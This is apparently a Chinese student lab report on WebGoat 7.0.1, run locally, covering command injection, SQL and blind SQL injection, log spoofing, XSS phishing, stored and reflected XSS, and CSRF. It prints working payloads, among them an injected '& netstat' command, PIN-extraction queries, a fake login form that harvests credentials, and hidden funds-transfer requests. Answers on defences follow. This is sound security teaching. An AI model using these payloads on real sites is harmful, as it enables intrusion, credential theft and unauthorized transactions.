1 实验过程
1.1 安装WebGoat
Step1:在这里下载webgoat-container-7.0.1-war-exec.jar
,找到在最下面的The OWASP WebGoat 7.0.1 Release
,选择webgoat-container-7.0.1-war-exec.jar
文件进行下载
Step2:在webgoat-container-7.0.1-war-exec.jar
目录下执行命令java -jar webgoat-container-7.0.1-war-exec.jar
Step3:在浏览器中输入http://localhost:8080/WebGoat
进入WebGoat登录界面,可以看到下方有提示两种账号及其对应的用户名和密码,我选择了使用者账户的用户名和密码:
登陆后的界面如下:
Step4:从上图可以看到左侧功能栏只有Admin Functions
一项,正常的话会有很多,说明jdk没有配置,具体过程参考这篇博客,我使用的jdk版本是jdk-8u251-linux-x64.tar.gz
- 配置后截图:
- 配置成功以后在终端重新执行命令
java -jar webgoat-container-7.0.1-war-exec.jar
,然后浏览器登录以后,看到左侧状态栏有许多选项了:
1.2 SQL注入攻击:Injection Flaws
1.2.1 命令注入:Command Injection
命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。这种攻击容易扩散,造成更坏的影响。但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。
Step1:左侧功能栏选中Injection Flaws—>Command Injection
,右键点击页面,选择inspect Element
审查网页元素对源代码进行修改
Step2:在复选框中任意一栏的代码,右键单击后,选择Edit At html
进行修改,添加"& netstat -an & ipconfig"
Step3:点击view
,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!
1.2.2 数字型注入:Numeric SQL Injection
在station 字段中注入特征字符,能组合成新的SQL 语句。
SELECT * FROM weather_data WHERE station = [station]
这道题的表单允许用户查看天气数据。需通过注入SQL字符串的方式查看所有的天气数据。
Step1:左侧功能栏选中Injection Flaws—>Numeric SQL Injection
,未进行攻击前,若选中New York
然后点击Go
,就会显示New York
的天气情况:
Step2:右键点击页面,选择inspect Element
审查网页元素对源代码进行修改
Step3:在选中的城市编号Value值中添加or 1=1
Step4:系统执行了SELECT * FROM weather_data WHERE station = 101 or 1=1
,显示了所有城市的天气,攻击成功!
1.2.3 日志欺骗:Log Spoofing
这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。
Step1:左侧功能栏选中Injection Flaws—>Log Spoofing
,在文本框中输入用户名:smith Login Succeeded for username admin
,这样用户名后面的信息会在同一行显示,而不是在新的一行。
Step2:可以往该应用中注入回车(0D%)和换行符(%0A)。在username 中填入Smith%0d%0aLogin Succeeded for username: admin
,以达到修改日志的目的:
Step3:攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将admin alert(document.cookie)
作为用户名输入。
1.2.4 字符串注入:String SQL Injection
Step1:左侧功能栏选中Injection Flaws—>String SQL Injection
,未进行攻击前,若输入Smith
然后点击Go
,就会显示Smith
的信息:
Step2:尝试通过SQL 注入将所有信用卡信息显示出来,输入\' or 1=1 --
即可完成:<img
1.2.5 数字型盲注入:Blind Numeric SQL Injection
某些SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
Step1:服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN 数值。尽管如此,我们可以利用系统后台在用的查询语句。查询语句如下:
SELECT * FROM user_data WHERE userid=accountNumber;
如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。
Step2:使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。例如下面两个查询方式:
101 AND 1=1
101 AND 1=2
- 在第一条语句中,两个条件都成立,所以页面返回帐号有效。
- 而第二条则返回帐号无效。
Step3:现在可以针对查询语句的后半部分构造复杂语句。下面的语句可以告诉我们 PIN 数值是否大于10000:
101 AND ((SELECT pin FROM pins WHERE cc_number=\'1111222233334444\') > 10000 );
页面提示帐号无效,说明PIN<=10000 。
Step4:不断调整数值,可以缩小判断范围,并最终判断出PIN 数值的大小。最终如下语句返回帐号有效:
101 AND ((SELECT pin FROM pins WHERE cc_number=\'1111222233334444\') = 2364 );
Step5:在查询框中输入2364 并提交:
1.2.6 字符串型盲注入:Blind String SQL Injection
目标是找到 pins 表中cc_number 字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交。
Step1:本节课程非常类似与上一节。最大的不同是要查询的字段是一个字符串而不是数值。因此我们同样可以通过注入的方式查找到该字段的值。查询语句非常类似上一节,如下:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=\'4321432143214321\'), 1, 1) < \'H\' );
Step2:经过多次测试(比较0-9A-Za-z 等字符串)和页面的返回数据,判断出第一个字符为“J”。同理继续判断第二个字符。
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=\'4321432143214321\'), 2, 1) < \'j\' );
Step3:最终,判断出pin字段的值为:Jill。提交改值:
1.3 XSS攻击
1.3.1 XSS 钓鱼:Phishing with XSS
当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
Step1:将下面这段代码输入到Search
输入框中,点击search
,结果会出现代码中所指定的绿、红、蓝三块div,并在下方出现了用于欺骗用户的提示语This feature requires account login:
和用户名、密码输入框。
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
Step2:输入用户名和密码以后点击login
按钮提交,可以看到反馈输入的信息:
1.3.2 存储型XSS攻击:Stored XSS Attacks
输入验证是一个很好的方法,尤其是验证那些以后将用做参数的操作系统命令、脚本和数据库查询的输入。尤为重要的是,这些内容将会永久的存放在那里。应当禁止用户创建消息内容。用户的信息被检索时,可能导致其他用户加载一个不良的网页或不良的内容。当一个未经验证的用户的输入作为一个HTTP 响应时,XSS 攻击也可能会发生。在一个反射式XSS 攻击中,攻击者会利用攻击脚本精心制作一个URL 并通过将其发送到其他网站、电子邮件、或其他方式骗取受害者点击它。
Step1:在title中任意输入字符,留言板中输入
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
Step2:点击submit
提交,下方“Message List”
中会新增刚输入的Tile
名字的链接,点击链接可以看到我们的html已经注入成功,messege部分显示的是绿、红、蓝三色框:
Step3:在下方用户名密码处输入,点击提交后,被成功获取用户名和密码
1.3.3 反射型XSS攻击:Reflected XSS Attacks
我们在访问一个网页的时候,在URL后面加上参数,服务器根据请求的参数值构造不同的HTML返回。value可能出现在返回的HTML(可能是JS,HTML某元素的内容或者属性)中,如果将value改成可以在浏览器中被解释执行的东西,就形成了反射型XSS。别人可能修改这个value值,然后将这个恶意的URL发送给你,当URL地址被打开时,特有的恶意代码参数就会被HTML解析执行。它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。
Step1:在Enter your three digit access code
框中输入代码
<script>alert("hiahiahia You\'ve been attacked!!! I\'m 20175304~");</script>
Step2:点击purse,成功显示警告框,内容为我们script脚本指定的内容:
1.4 CSRF攻击
跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
1.4.1 跨站请求伪造:Cross Site Request Forgery (CSRF)
Step1:查看页面右侧Parameters中的src和menu值,分别为320和900
Step2:在title中输入任何参数,message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=328&menu=900&transferFunds=5000" width="1" height="1" />
Step3:以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
-
这里src值、menu值要根据上一步查看的结果修改,转账数额随便输入,eg:5000
-
宽高设置成1像素的目的是隐藏该图片
Step4:提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
1.4.2 绕过 CSRF 确认:CSRF Prompt By‐Pass
跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
Step1:同上一个攻击,查看页面下侧Parameters中的src和menu值(328和900),并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
Step2:点击Message List中生成以Title命名的链接,攻击成功!
2 问题回答
2.1 SQL注入攻击原理,如何防御
- 原理:
- SQL注入是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
- 通过在用户名、密码登输入框中输入一些\',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。
- 其实就是输入框中的字符提交到后台的数据库中会与SQL语句组合拼接,针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库。
- 防御:
- 使用正则表达式过滤传入的参数;检查是否包函非法字符,在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、\' 等
- 摒弃动态SQL语句,而改用用户存储过程来访问和操作数据。这需要在建立数据库后,仔细考虑Web程序需要对数据库进行的各种操作,并为之建立存储过程,然后让Web程序调用存储过程来完成数据库操作。
2.2 XSS攻击的原理,如何防御
- 原理:
- 攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
- 防御:
- 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
- 当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。
2.3 CSRF攻击原理,如何防御
- 原理:
- CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况> Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
- 主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
- 防御:
- 通过 referer、token 或者 验证码 来检测用户提交。
- 尽量不要在页面的链接中暴露用户隐私信息。
- 对于用户修改删除等操作最好都使用post 操作 。
- 避免全站通用的cookie,严格设置cookie的域。
3 实验中遇到的问题
3.1 jdk环境配置
一开始webgoat功能栏总是不显示,查询了以后发现是jdk配置问题,参考了这篇博客,完成配置,由于他已经写得很清晰了,我就不再放截图了。
4 实验体会
本次实验较为顺利,通过本次实验学习了使用WebGoat工具进行SQL注入攻击、XSS攻击、CSRF攻击,对SQL语句格式有了更深掌握,对各种攻击的防御也有了一些体验